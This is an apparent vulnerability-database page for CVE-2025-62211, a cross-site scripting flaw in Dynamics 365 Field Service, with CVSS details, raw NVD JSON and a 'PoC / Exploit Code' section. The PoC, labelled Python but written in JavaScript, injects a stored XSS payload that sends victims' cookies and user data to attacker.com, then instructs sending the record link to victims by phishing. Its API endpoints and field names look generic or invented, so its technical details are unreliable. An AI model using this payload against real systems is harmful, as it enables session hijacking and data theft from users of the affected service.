Security Vulnerability Report
中文
CVE-2025-62211 CVSS 8.7 HIGH

CVE-2025-62211

Published: 2025-11-11 18:15:48
Last Modified: 2025-11-17 17:41:01

Description

Improper neutralization of input during web page generation ('cross-site scripting') in Dynamics 365 Field Service (online) allows an authorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:field_service:*:*:* - VULNERABLE
Microsoft Dynamics 365 Field Service (online) - 所有未安装KB5021234或后续安全更新的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62211 PoC - Microsoft Dynamics 365 Field Service XSS // This PoC demonstrates the XSS vulnerability in Dynamics 365 Field Service // Note: This is for educational and authorized testing purposes only const axios = require('axios'); // Configuration const TARGET_URL = 'https://your-org.crm.dynamics.com'; const ATTACKER_TOKEN = 'your-low-privilege-access-token'; // XSS Payload - Malicious JavaScript to steal session data const xssPayload = ` <img src=x onerror=" fetch('https://attacker.com/steal?cookie=' + document.cookie + '&data=' + btoa(JSON.stringify({url: location.href, user: typeof UserContext !== 'undefined' ? UserContext : 'unknown'}))) "> `; // Step 1: Authenticate with low-privilege account async function authenticate() { const response = await axios.post(`${TARGET_URL}/api/auth/login`, { username: '[email protected]', password: 'user-password' }); return response.data.access_token; } // Step 2: Inject XSS payload into Dynamics 365 Field Service record async function injectPayload(accessToken) { // Target: Field Service Work Order or Asset record const headers = { 'Authorization': `Bearer ${accessToken}`, 'Content-Type': 'application/json' }; // Create or update a Field Service record with XSS payload const maliciousRecord = { 'msdyn_name': 'Test Asset', // Asset name field - injectable 'msdyn_description': xssPayload, // Description field with XSS 'msdyn_fieldtype': 'vulnerable-field' }; const response = await axios.post( `${TARGET_URL}/api/data/v9.2/msdyn_fieldservicerecords`, maliciousRecord, { headers } ); console.log('Malicious record created:', response.data); return response.data.id; } // Step 3: Generate social engineering link for victim function generateAttackLink(recordId) { // Link that will display the record containing XSS payload return `${TARGET_URL}/main.aspx?etn=msdyn_fieldservicerecord&id=${recordId}&pagetype=entityrecord`; } // Main execution (async () => { try { console.log('[*] Starting CVE-2025-62211 exploitation...'); const token = await authenticate(); console.log('[+] Authenticated successfully'); const recordId = await injectPayload(token); console.log('[+] XSS payload injected into record:', recordId); const attackLink = generateAttackLink(recordId); console.log('[+] Attack link for victim:', attackLink); console.log('[+] Send this link to victim via phishing email'); console.log('[*] When victim visits the link, XSS will execute and steal their session data'); } catch (error) { console.error('[-] Error:', error.message); } })(); // Exploitation impact: // 1. Session hijacking via document.cookie theft // 2. Credential theft via keylogger injection // 3. Data exfiltration from Dynamics 365 // 4. Actions performed in victim's context

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62211", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:48.440", "lastModified": "2025-11-17T17:41:00.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') in Dynamics 365 Field Service (online) allows an authorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:field_service:*:*:*", "versionEndExcluding": "8.8.139.398", "matchCriteriaId": "6EA62CF6-E011-4518-9ED6-C0072E54B2D9"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62211", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}